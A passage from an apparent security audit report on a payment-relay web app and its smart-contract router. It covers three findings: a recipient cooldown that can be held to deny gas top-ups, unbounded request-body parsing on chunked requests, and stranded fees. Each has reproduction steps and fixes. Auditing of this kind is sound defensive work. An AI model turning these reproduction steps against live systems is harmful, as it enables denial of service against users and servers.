  if (!(await d.kv.acquire(`gasdrop:to:${p.recipient.toLowerCase()}`, d.limits.cooldownSec))) return deny("recipient");
```

decideGasDrop acquires the per-recipient cooldown key (line 69) before evaluating the per-caller (line 70) and daily (line 71) counters and never releases it on denial. A caller who has already used perCallerDaily top-ups can relay a withdrawal to a chosen address V (a valid proof of their own note, with V as recipient), be refused with denied='caller', and leave V's cooldown held for cooldownSec (default 86_400). The header's claim that refused attempts do not use up other users' quota is contradicted for the per-address quota. Impact is limited to V's gas top-up; the withdrawal itself still works. Fix: check the per-caller and daily counters before acquiring the recipient key, or release the recipient key on denial.

**Reproduction**

perCallerDaily = 3. Caller X performs three top-ups to any recipients. X then POSTs /api/relay with a withdrawal whose recipient is V; decideGasDrop acquires gasdrop:to:V at line 69, then returns denied='caller' at line 70. Expected: V's cooldown untouched because no top-up was sent. Actual: a legitimate withdrawal to V within 86_400 s is denied with 'recipient', so V receives no gas to move its tokens. Verified by reading decideGasDrop; the kv.acquire call has no matching release in the deny path.

### 10. Low: POST /api/locks parses a JSON body with no size bound when Content-Length is absent (chunked requests), unlike /api/relay which uses readJson

`src/app/api/locks/route.ts:66`

```
    body = await req.json();
```

The only body cap is the client-supplied Content-Length header on line 63, after which req.json() on line 66 buffers and parses the whole body. A chunked request has no Content-Length, so Number(undefined ?? 0) is 0 and the check passes at any size. The route is unauthenticated and takes arbitrary client input, so it is a memory and CPU exhaustion path for the server. The guarded path in src/lib/server/guard.ts:194 (readJson) compares text.length in UTF-16 code units rather than bytes, admitting up to three times maxBytes. Fix: use readJson(req, 40_000) here and compare byte length in readJson.

**Reproduction**

POST /api/locks with 'Transfer-Encoding: chunked', no Content-Length, body = a JSON array repeated to tens of megabytes. Expected: 413 before parsing. Actual: the request is JSON.parse'd in full; each concurrent request holds its body in memory. Verified by reading route.ts lines 60-72 (no other body limit exists in the route or in next.config.ts).

### 11. Info: transfer() does not refuse fee recipients that can never move tokens, unlike the refund check; a fee addressed to the router is stranded in the router

`contracts/src/QuietPayPoolRouterV2.sol:211`

```
      if (feeRecipient == address(0)) revert ZeroAddress();
```

_deposit refuses refund == router/token/pool/entrypoint (BadDestination, line 240), but transfer() checks feeRecipient only against address(0) (line 211). If the proof's withdrawal.data names the router (or the token or pool) as feeRecipient, fee is transferred there and stays: every router path works on balance deltas, so no function can move a stray router balance. Only the prover chooses feeRecipient and the QuietPay relayer only submits transfers whose feeRecipient is its own address, so this is self-harm or operator misconfiguration, not an attack. Fix: apply the same BadDestination check to feeRecipient when fee != 0.

**Reproduction**

State: a note of 5 tUSDG deposited through the router. Input: transfer(withdrawal{processooor: router, data: abi.encode(pre, refund, address(router), 500_000)}, proof{pubSignals[2] = 2_000_000, context bound}). Expected: revert BadDestination as a refund to the router would. Actual: succeeds; token.balanceOf(router) == 500_000 forever. Verified by reading lines 202-217 against _deposit's check at line 240.

---

Judge's submission `66d0e75929843b29b2b90ba4958034248c0dcaf53f807d8d9296243f5b74af30`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
